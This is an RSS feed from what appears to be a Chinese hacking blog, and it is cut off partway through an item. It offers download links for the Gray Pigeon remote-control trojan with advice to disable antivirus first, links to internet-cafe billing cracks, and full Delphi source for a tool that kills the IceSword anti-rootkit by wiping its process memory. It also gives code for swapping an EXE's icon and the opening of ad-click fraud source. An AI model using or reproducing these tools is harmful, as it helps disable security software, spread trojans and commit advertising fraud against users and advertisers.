<?xml version="1.0" encoding="GB2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[nod32升级服务]]></title>
<link>http://hacker.hblog.net/index.shtml</link>
<description><![CDATA[nod32升级服务]]></description>
<item>
<title><![CDATA[灰鸽子远程控制下载]]></title>
<link>http://hacker.hblog.net/archives/2008/2008616233256.shtml</link>
<description><![CDATA[<P>灰鸽子远程控制下载&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 远程控制软件下载</P>
<P><STRONG>关键字灰鸽子远程控制 灰鸽子 远程控制&nbsp;&nbsp; 灰鸽子远程控制破解版&nbsp;&nbsp; 灰鸽子远程控制黑防版&nbsp; 灰鸽子远程 远程控制</STRONG></P>
<P>以下是几个优秀的木马，绝对好用</P>
<P><FONT color=#a50606>注意使用前请关闭杀毒软件，以免误杀</FONT></P>
<P><A href="http://www.skeay.com.cn/ppc.rar"><STRONG>下载地址：</STRONG></A></P>
<P><U><FONT color=#800080></FONT></U><A href="http://www.hblog.net/attachment.asp?FileID=121557"></A>&nbsp;</P>
<P><A href="http://www.hblog.net/attachment.asp?FileID=121558"></A>&nbsp;</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>&nbsp;</P>]]></description>
<author>hhack</author>
<pubDate>2008-6-16 23:32:00</pubDate>
</item>
<item>
<title><![CDATA[无毒的下载]]></title>
<link>http://hacker.hblog.net/archives/2007/200712513313.shtml</link>
<description><![CDATA[<P><STRONG><SPAN style="FONT-SIZE: 12pt; COLOR: #32cd32">无毒的下载</SPAN></STRONG></P>
<P><A href="http://down.skeay.com"><STRONG><SPAN style="http://www.hblog.net/FONT-SIZE: 14pt; COLOR: #ff4500">http://down.skeay.com</SPAN></STRONG></A></P>
<P><STRONG><SPAN style="COLOR: #0000cd">绝对无毒的软件！！！！
<SCRIPT type=text/javascript><!--
google_ad_client = "pub-4372870782506509";
//250x250, 创建于 07-12-31
google_ad_slot = "9486947592";
google_ad_width = 250;
google_ad_height = 250;
//--></SCRIPT>

<SCRIPT src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type=text/javascript>
</SCRIPT>
 </SPAN></STRONG></P>]]></description>
<author>hhack</author>
<pubDate>2007-12-5 13:03:00</pubDate>
</item>
<item>
<title><![CDATA[网吧辅助工具]]></title>
<link>http://hacker.hblog.net/archives/2008/200891321172.shtml</link>
<description><![CDATA[<P>精锐</P>
<P><A href="http://www.hblog.net/attachment.asp?FileID=124027">wb59.rar</A></P>
<P>pub2007</P>
<P><A href="http://www.hblog.net/attachment.asp?FileID=124028">20071121Pubwin2007wzpjjl.zip</A></P>]]></description>
<author>hhack</author>
<pubDate>2008-9-13 21:17:00</pubDate>
</item>
<item>
<title><![CDATA[Ring3下干掉IceSword]]></title>
<link>http://hacker.hblog.net/archives/2008/2008624232714.shtml</link>
<description><![CDATA[//{$DEFINE&nbsp;minimum}<BR>{$E&nbsp;exe}<BR>{$IMAGEBASE&nbsp;$00400000}<BR>{$R-}<BR>{$Q-}<BR><BR>{$IFDEF&nbsp;minimum}<BR>program&nbsp;Icie1;<BR>{$ENDIF}<BR>{$IFNDEF&nbsp;minimum}<BR>unit&nbsp;Icie1;<BR>interface<BR>implementation<BR>{$ENDIF}<BR><BR>uses<BR>&nbsp;&nbsp;Windows,&nbsp;WinBase,<BR>&nbsp;&nbsp;RTL,<BR>&nbsp;&nbsp;WinNative;<BR><BR>const<BR>&nbsp;&nbsp;mymsg:&nbsp;PWideChar&nbsp;=&nbsp;'Author:pjf(ustc)';<BR>&nbsp;&nbsp;Icie:&nbsp;PWideChar&nbsp;=&nbsp;'Icie!';<BR><BR>var<BR>&nbsp;&nbsp;buf:&nbsp;LBuf;<BR>&nbsp;&nbsp;icie_f:&nbsp;boolean&nbsp;=&nbsp;false;<BR><BR>type<BR>&nbsp;&nbsp;_SYSINFOBUF&nbsp;=&nbsp;record<BR>&nbsp;&nbsp;&nbsp;&nbsp;uHandleCount:&nbsp;ULONG;<BR>&nbsp;&nbsp;&nbsp;&nbsp;rHandleTable:&nbsp;array[0..0]&nbsp;of&nbsp;SYSTEM_HANDLE_INFORMATION;<BR>&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;SYSINFOBUF&nbsp;=&nbsp;_SYSINFOBUF;<BR>&nbsp;&nbsp;PSYSINFOBUF&nbsp;=&nbsp;^_SYSINFOBUF;<BR><BR>procedure&nbsp;FuckIcie(dwProcessId:&nbsp;DWORD);<BR>var<BR>&nbsp;&nbsp;h_dup,&nbsp;ph:&nbsp;THANDLE;<BR>&nbsp;&nbsp;bytesIO:&nbsp;ULONG;<BR>&nbsp;&nbsp;buf:&nbsp;PSYSINFOBUF;<BR>&nbsp;&nbsp;c:&nbsp;integer;<BR>&nbsp;&nbsp;cid1:&nbsp;CLIENT_ID;<BR>&nbsp;&nbsp;attr:&nbsp;OBJECT_ATTRIBUTES;<BR>&nbsp;&nbsp;csrss_id:&nbsp;THANDLE;<BR>&nbsp;&nbsp;tmp1:&nbsp;LBuf;<BR>&nbsp;&nbsp;pBuffer:&nbsp;PROCESSENTRY32W;<BR>&nbsp;&nbsp;SnapShotHandle:&nbsp;THANDLE;<BR>&nbsp;&nbsp;pbi:&nbsp;PROCESS_BASIC_INFORMATION;<BR>&nbsp;&nbsp;p0,&nbsp;p1:&nbsp;PChar;<BR>&nbsp;&nbsp;sz,&nbsp;oldp:&nbsp;ULONG;<BR>begin<BR>&nbsp;&nbsp;csrss_id&nbsp;:=&nbsp;0;<BR>&nbsp;&nbsp;pBuffer.dwSize&nbsp;:=&nbsp;sizeof(PROCESSENTRY32W);<BR>&nbsp;&nbsp;SnapShotHandle&nbsp;:=&nbsp;CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS,&nbsp;0);<BR>&nbsp;&nbsp;if&nbsp;(SnapShotHandle&nbsp;&lt;&gt;&nbsp;INVALID_HANDLE_VALUE)&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;Process32FirstW(SnapShotHandle,&nbsp;@pBuffer)&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;repeat<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExtractFileNameW(pBuffer.szExeFile,&nbsp;tmp1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(strcmpiW(tmp1,&nbsp;'csrss.exe')&nbsp;=&nbsp;0)&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;csrss_id&nbsp;:=&nbsp;pBuffer.th32ProcessID;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;until&nbsp;(not&nbsp;Process32NextW(SnapShotHandle,&nbsp;@pBuffer));<BR>&nbsp;&nbsp;CloseHandle(SnapShotHandle);<BR>&nbsp;&nbsp;if&nbsp;(csrss_id&nbsp;&lt;&gt;&nbsp;0)&nbsp;then&nbsp;MessageBoxW(0,&nbsp;'backdoor&nbsp;friendly&nbsp;process&nbsp;located',&nbsp;Icie,&nbsp;MB_OK);<BR><BR>&nbsp;&nbsp;attr.Length&nbsp;:=&nbsp;sizeof(OBJECT_ATTRIBUTES);<BR>&nbsp;&nbsp;attr.RootDirectory&nbsp;:=&nbsp;0;<BR>&nbsp;&nbsp;attr.ObjectName&nbsp;:=&nbsp;nil;<BR>&nbsp;&nbsp;attr.Attributes&nbsp;:=&nbsp;0;<BR>&nbsp;&nbsp;attr.SecurityDescriptor&nbsp;:=&nbsp;nil;<BR>&nbsp;&nbsp;attr.SecurityQualityOfService&nbsp;:=&nbsp;nil;<BR><BR>&nbsp;&nbsp;cid1.UniqueProcess&nbsp;:=&nbsp;csrss_id;<BR>&nbsp;&nbsp;cid1.UniqueThread&nbsp;:=&nbsp;0;<BR>&nbsp;&nbsp;ZwOpenProcess(@ph,&nbsp;PROCESS_ALL_ACCESS,&nbsp;@attr,&nbsp;@cid1);<BR><BR>&nbsp;&nbsp;bytesIO&nbsp;:=&nbsp;4194304;<BR>&nbsp;&nbsp;buf&nbsp;:=&nbsp;nil;<BR>&nbsp;&nbsp;ZwAllocateVirtualMemory(GetCurrentProcess(),&nbsp;@buf,&nbsp;0,&nbsp;@bytesIO,&nbsp;MEM_COMMIT,&nbsp;PAGE_READWRITE);<BR>&nbsp;&nbsp;ZwQuerySystemInformation(SystemHandleInformation,&nbsp;buf,&nbsp;4194304,&nbsp;@bytesIO);<BR>&nbsp;&nbsp;for&nbsp;c&nbsp;:=&nbsp;0&nbsp;to&nbsp;buf^.uHandleCount&nbsp;-&nbsp;1&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(buf^.rHandleTable[c].ProcessId&nbsp;=&nbsp;csrss_id)&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(buf^.rHandleTable[c].ObjectTypeNumber&nbsp;=&nbsp;5)&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ZwDuplicateObject(ph,&nbsp;buf^.rHandleTable[c].Handle,&nbsp;DWORD(-1),&nbsp;@h_dup,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;0,&nbsp;DUPLICATE_SAME_ACCESS)&nbsp;=&nbsp;STATUS_SUCCESS)&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ZwQueryInformationProcess(h_dup,&nbsp;ProcessBasicInformation,&nbsp;@pbi,&nbsp;sizeof(pbi),&nbsp;@bytesIO);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(pbi.UniqueProcessId&nbsp;=&nbsp;dwProcessId)&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBoxW(0,&nbsp;'In&nbsp;a&nbsp;process...&nbsp;Press&nbsp;"Ok"&nbsp;and&nbsp;please&nbsp;wait&nbsp;few&nbsp;seconds,&nbsp;after&nbsp;it&nbsp;IceSword&nbsp;will&nbsp;be&nbsp;destroyed&nbsp;=)))))',&nbsp;Icie,&nbsp;MB_OK);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p0&nbsp;:=&nbsp;pointer($10000);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;repeat<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p1&nbsp;:=&nbsp;p0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sz&nbsp;:=&nbsp;$1000;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ZwProtectVirtualMemory(h_dup,&nbsp;@p1,&nbsp;@sz,&nbsp;PAGE_EXECUTE_READWRITE,&nbsp;@oldp)&nbsp;=&nbsp;STATUS_SUCCESS)&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ZwWriteVirtualMemory(h_dup,&nbsp;p0,&nbsp;buf,&nbsp;$1000,&nbsp;@oldp);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p0&nbsp;:=&nbsp;p0&nbsp;+&nbsp;$1000;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;until&nbsp;(DWORD(p0)&nbsp;&gt;=&nbsp;$80000000);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBoxW(0,&nbsp;'Icie&nbsp;is&nbsp;now&nbsp;f***d&nbsp;and&nbsp;unworkable&nbsp;=)&nbsp;l&nbsp;ol',&nbsp;Icie,&nbsp;0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ZwClose(h_dup);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;ZwClose(ph);<BR><BR>&nbsp;&nbsp;bytesIO&nbsp;:=&nbsp;0;<BR>&nbsp;&nbsp;ZwFreeVirtualMemory(GetCurrentProcess(),&nbsp;@buf,&nbsp;@bytesIO,&nbsp;MEM_RELEASE);<BR>end;<BR><BR>function&nbsp;enum2(_hwnd:&nbsp;HWND;&nbsp;lParam:&nbsp;LPARAM):&nbsp;BOOL;&nbsp;stdcall;<BR>var<BR>&nbsp;&nbsp;pid:&nbsp;Cardinal;<BR>&nbsp;&nbsp;buf1:&nbsp;LBuf;<BR>&nbsp;&nbsp;i,&nbsp;k:&nbsp;integer;<BR>begin<BR>&nbsp;&nbsp;result&nbsp;:=&nbsp;true;<BR>&nbsp;&nbsp;memzero(@buf,&nbsp;sizeof(LBuf));<BR>&nbsp;&nbsp;memzero(@buf1,&nbsp;sizeof(LBuf));<BR>&nbsp;&nbsp;GetWindowTextW(_hwnd,&nbsp;@buf,&nbsp;MAX_PATH);<BR>&nbsp;&nbsp;k&nbsp;:=&nbsp;0;<BR>&nbsp;&nbsp;for&nbsp;i&nbsp;:=&nbsp;0&nbsp;to&nbsp;strlenW(buf)&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;buf&nbsp;&lt;&gt;&nbsp;'&nbsp;'&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf1[k]&nbsp;:=&nbsp;buf;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inc(k);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR>&nbsp;&nbsp;if&nbsp;(strcmpiW(mymsg,&nbsp;@buf1)&nbsp;=&nbsp;0)&nbsp;then<BR>&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;MessageBoxW(0,&nbsp;'Icie&nbsp;found,&nbsp;let''s&nbsp;f***&nbsp;it!',&nbsp;Icie,&nbsp;0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;icie_f&nbsp;:=&nbsp;true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;GetWindowThreadProcessId(_hwnd,&nbsp;@pid);<BR>&nbsp;&nbsp;&nbsp;&nbsp;FuckIcie(pid);<BR>&nbsp;&nbsp;end;<BR>end;<BR><BR>function&nbsp;enum1(_hwnd:&nbsp;HWND;&nbsp;lParam:&nbsp;LPARAM):&nbsp;BOOL;&nbsp;stdcall;<BR>begin<BR>&nbsp;&nbsp;result&nbsp;:=&nbsp;true;<BR>&nbsp;&nbsp;EnumChildWindows(_hwnd,&nbsp;@enum2,&nbsp;0);<BR>end;<BR><BR>procedure&nbsp;DetectIcie();<BR>begin<BR>&nbsp;&nbsp;EnumWindows(@enum1,&nbsp;0);<BR>end;<BR><BR>var<BR>&nbsp;&nbsp;prev:&nbsp;integer;<BR><BR>begin<BR>&nbsp;&nbsp;if&nbsp;(RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE,&nbsp;TRUE,&nbsp;FALSE,&nbsp;@prev)&nbsp;&lt;&gt;&nbsp;STATUS_SUCCESS)&nbsp;then<BR>&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;MessageBoxW(0,&nbsp;'Cannot&nbsp;get&nbsp;more&nbsp;privilegies',&nbsp;Icie,&nbsp;MB_OK);<BR>&nbsp;&nbsp;&nbsp;&nbsp;ExitProcess(0);<BR>&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;MessageBoxW(0,&nbsp;'This&nbsp;simple&nbsp;app&nbsp;demonstrates&nbsp;how&nbsp;to&nbsp;destroy&nbsp;untouchable&nbsp;IceSword&nbsp;(any&nbsp;english&nbsp;version)&nbsp;from&nbsp;poor&nbsp;User&nbsp;Mode'#13#13#10&nbsp;+<BR>&nbsp;&nbsp;&nbsp;&nbsp;'Inline&nbsp;Hooks&nbsp;will&nbsp;not&nbsp;help&nbsp;Icie!'#13#10'Demo&nbsp;by&nbsp;EP_X0FF&nbsp;and&nbsp;DNY',&nbsp;Icie,&nbsp;0);<BR>&nbsp;&nbsp;DetectIcie();<BR>&nbsp;&nbsp;if&nbsp;not&nbsp;icie_f&nbsp;then&nbsp;MessageBoxW(0,&nbsp;'Start&nbsp;Icie&nbsp;English&nbsp;version&nbsp;first!&nbsp;=)))',&nbsp;Icie,&nbsp;MB_OK);<BR>end.<BR><BR>适用于英文版，只需改一下即可用于任何版本及多数受驱动保护的进程。<BR><BR>这个&nbsp;Demo&nbsp;的作者是EP_X0FF&nbsp;和&nbsp;DNY，也就是RkUnHooker的作者。<BR>这大概是&nbsp;RkU&nbsp;使用的强制杀进程方法——所谓的虚拟内存擦除技术——的&nbsp;Ring3&nbsp;版本吧～&nbsp;[s:2]<BR><IMG src="http://www.xwind.cn/images/download.gif" align=absMiddle> <A href="http://www.xwind.cn/attachments/month_0802/74va_Icie.rar" target=_blank>点击下载此文件</A><BR>]]></description>
<author>hhack</author>
<pubDate>2008-6-24 23:27:00</pubDate>
</item>
<item>
<title><![CDATA[用UpdateResource修改EXE文件图标]]></title>
<link>http://hacker.hblog.net/archives/2008/2008624232636.shtml</link>
<description><![CDATA[<P id=fp>//请自行添加到&nbsp;Type&nbsp;处<BR>PICONDIRENTRY&nbsp;=&nbsp;^ICONDIRENTRY;<BR>ICONDIRENTRY&nbsp;=&nbsp;packed&nbsp;record<BR>&nbsp;&nbsp;&nbsp;&nbsp;bWidth:&nbsp;Byte;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bHeight:&nbsp;Byte;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bColorCount:&nbsp;Byte;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bReserved:&nbsp;Byte;<BR>&nbsp;&nbsp;&nbsp;&nbsp;wPlanes:&nbsp;Word;<BR>&nbsp;&nbsp;&nbsp;&nbsp;wBitCount:&nbsp;Word;<BR>&nbsp;&nbsp;&nbsp;&nbsp;dwBytesInRes:&nbsp;DWORD;<BR>&nbsp;&nbsp;&nbsp;&nbsp;dwImageOffset:&nbsp;DWORD;<BR>end;<BR><BR>PICONDIR&nbsp;=&nbsp;^ICONDIR;<BR>ICONDIR&nbsp;=&nbsp;packed&nbsp;record<BR>&nbsp;&nbsp;&nbsp;&nbsp;idReserved:&nbsp;Word;<BR>&nbsp;&nbsp;&nbsp;&nbsp;idType:&nbsp;Word;<BR>&nbsp;&nbsp;&nbsp;&nbsp;idCount:&nbsp;Word;<BR>&nbsp;&nbsp;&nbsp;&nbsp;idEntries:&nbsp;ICONDIRENTRY;<BR>end;<BR><BR>PGRPICONDIRENTRY&nbsp;=&nbsp;^GRPICONDIRENTRY;<BR>GRPICONDIRENTRY&nbsp;=&nbsp;packed&nbsp;record<BR>&nbsp;&nbsp;&nbsp;&nbsp;bWidth:&nbsp;Byte;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bHeight:&nbsp;Byte;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bColorCount:&nbsp;Byte;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bReserved:&nbsp;Byte;<BR>&nbsp;&nbsp;&nbsp;&nbsp;wPlanes:&nbsp;Word;<BR>&nbsp;&nbsp;&nbsp;&nbsp;wBitCount:&nbsp;Word;<BR>&nbsp;&nbsp;&nbsp;&nbsp;dwBytesInRes:&nbsp;DWORD;<BR>&nbsp;&nbsp;&nbsp;&nbsp;nID:&nbsp;Word;<BR>end;<BR><BR>PGRPICONDIR&nbsp;=&nbsp;^GRPICONDIR;<BR>GRPICONDIR&nbsp;=&nbsp;packed&nbsp;record<BR>&nbsp;&nbsp;&nbsp;&nbsp;idReserved:&nbsp;Word;<BR>&nbsp;&nbsp;&nbsp;&nbsp;idType:&nbsp;Word;<BR>&nbsp;&nbsp;&nbsp;&nbsp;idCount:&nbsp;Word;<BR>&nbsp;&nbsp;&nbsp;&nbsp;idEntries:&nbsp;GRPICONDIRENTRY;&nbsp;<BR>end;&nbsp;<BR><BR>//////////////////////////////////////////////<BR>//函数说明：修改EXE图标<BR>//<BR>//参&nbsp;&nbsp;&nbsp;&nbsp;数：IconFile&nbsp;图标文件&nbsp;<BR>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExeFile&nbsp;被修改的EXE文件<BR>//<BR>//返回值：&nbsp;成功为True，否则False<BR>/////////////////////////////////////////////<BR>function&nbsp;ChangeExeIcon(IcoFile,&nbsp;ExeFile:&nbsp;string):&nbsp;Boolean;<BR>var<BR>stID:&nbsp;ICONDIR;<BR>stGID:&nbsp;GRPICONDIR;<BR><BR>pGrpIcon:&nbsp;PBYTE;<BR>pIcon:&nbsp;PBYTE;<BR>hUpdate:&nbsp;DWORD;<BR>nSize,&nbsp;nGSize:&nbsp;DWORD;&nbsp;<BR>hFile:&nbsp;THandle;<BR>dwReserved:&nbsp;DWORD;&nbsp;<BR>ret:&nbsp;Boolean;<BR>begin<BR>Result&nbsp;:=&nbsp;False;<BR><BR>hFile&nbsp;:=&nbsp;CreateFile(PChar(IcoFile),&nbsp;GENERIC_READ,&nbsp;0,&nbsp;nil,&nbsp;OPEN_EXISTING,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FILE_ATTRIBUTE_NORMAL,&nbsp;0);<BR>if&nbsp;hFile&nbsp;=&nbsp;INVALID_HANDLE_VALUE&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;Exit;<BR><BR>try&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;ReadFile(hFile,&nbsp;stID,&nbsp;Sizeof(ICONDIR),&nbsp;dwReserved,&nbsp;nil);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;nSize&nbsp;:=&nbsp;stID.idEntries.dwBytesInRes;<BR>&nbsp;&nbsp;&nbsp;&nbsp;GetMem(pIcon,&nbsp;nSize);<BR>&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(hFile,&nbsp;stID.idEntries.dwImageOffset,&nbsp;nil,&nbsp;FILE_BEGIN);<BR>&nbsp;&nbsp;&nbsp;&nbsp;ReadFile(hFile,&nbsp;pIcon^,&nbsp;nSize,&nbsp;dwReserved,&nbsp;nil);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;stGID.idType&nbsp;:=&nbsp;1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;stGID.idCount&nbsp;:=&nbsp;stID.idCount;<BR>&nbsp;&nbsp;&nbsp;&nbsp;stGID.idReserved&nbsp;:=&nbsp;0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;CopyMemory(@stGID.idEntries.bWidth,&nbsp;@stID.idEntries.bWidth,&nbsp;12);<BR>&nbsp;&nbsp;&nbsp;&nbsp;stGID.idEntries.nID&nbsp;:=&nbsp;0;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;nGSize&nbsp;:=&nbsp;Sizeof(GRPICONDIR);<BR>&nbsp;&nbsp;&nbsp;&nbsp;GetMem(pGrpIcon,&nbsp;nGSize);<BR>&nbsp;&nbsp;&nbsp;&nbsp;CopyMemory(pGrpIcon,&nbsp;@stGID,&nbsp;nGSize);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;hUpdate&nbsp;:=&nbsp;BeginUpdateResource(PChar(ExeFile),&nbsp;False);<BR>&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret&nbsp;:=&nbsp;UpdateResource(hUpdate,&nbsp;RT_GROUP_ICON,&nbsp;MAKEINTRESOURCE(1),&nbsp;0,&nbsp;pGrpIcon,&nbsp;nGSize);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret&nbsp;:=&nbsp;UpdateResource(hUpdate,&nbsp;RT_ICON,&nbsp;MAKEINTRESOURCE(1),&nbsp;0,&nbsp;pIcon,&nbsp;nSize);<BR>&nbsp;&nbsp;&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EndUpdateResource(hUpdate,&nbsp;False);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hFile);<BR>end;<BR><BR>Result&nbsp;:=&nbsp;ret;<BR>end;</P>]]></description>
<author>hhack</author>
<pubDate>2008-6-24 23:26:00</pubDate>
</item>
<item>
<title><![CDATA[模拟点击网页广告源代码]]></title>
<link>http://hacker.hblog.net/archives/2008/2008624232524.shtml</link>
<description><![CDATA[unit&nbsp;Unit1;<BR>{$R&nbsp;'copyrightA.res'}<BR>interface<BR><BR>uses<BR>&nbsp;&nbsp;Windows,&nbsp;Messages,&nbsp;SysUtils,&nbsp;Variants,&nbsp;Classes,&nbsp;Graphics,&nbsp;Controls,&nbsp;Forms,<BR>&nbsp;&nbsp;Dialogs,&nbsp;OleCtrls,&nbsp;SHDocVw,&nbsp;StdCtrls,shellApi,urlmon,&nbsp;wininet,shlobj,ExtCtrls,encrypt;<BR><BR>type<BR>&nbsp;&nbsp;TAnHao_Click&nbsp;=&nbsp;class(TForm)<BR>&nbsp;&nbsp;&nbsp;&nbsp;TIME_DO:&nbsp;TTimer;<BR>&nbsp;&nbsp;&nbsp;&nbsp;TIME_All:&nbsp;TTimer;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;FormCreate(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TIME_DOTimer(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TIME_AllTimer(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;FormShow(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;private<BR>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;Private&nbsp;declarations&nbsp;}<BR>&nbsp;&nbsp;public<BR>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;Public&nbsp;declarations&nbsp;}<BR>&nbsp;&nbsp;end;<BR><BR>var<BR>&nbsp;&nbsp;AnHao_Click:&nbsp;TAnHao_Click;<BR>&nbsp;&nbsp;DownUrl:array&nbsp;[0..255]&nbsp;of&nbsp;char;//点击广告配置文件下载路径<BR>&nbsp;&nbsp;LLUrl,ClickNum,Upurl:array&nbsp;[0..255]&nbsp;of&nbsp;char;//流量配置文件下载路径<BR>&nbsp;&nbsp;DownSaveA:array&nbsp;[0..255]&nbsp;of&nbsp;char;&nbsp;//广告txt保存路径<BR>&nbsp;&nbsp;DownSaveL:array&nbsp;[0..255]&nbsp;of&nbsp;char;&nbsp;//流量txt保存路径<BR>&nbsp;&nbsp;DownSaveC:array&nbsp;[0..255]&nbsp;of&nbsp;char;&nbsp;//剩余点击次数保存路径<BR>&nbsp;&nbsp;DownSaveDL:array&nbsp;[0..255]&nbsp;of&nbsp;char;&nbsp;//更新txt保存路径<BR>&nbsp;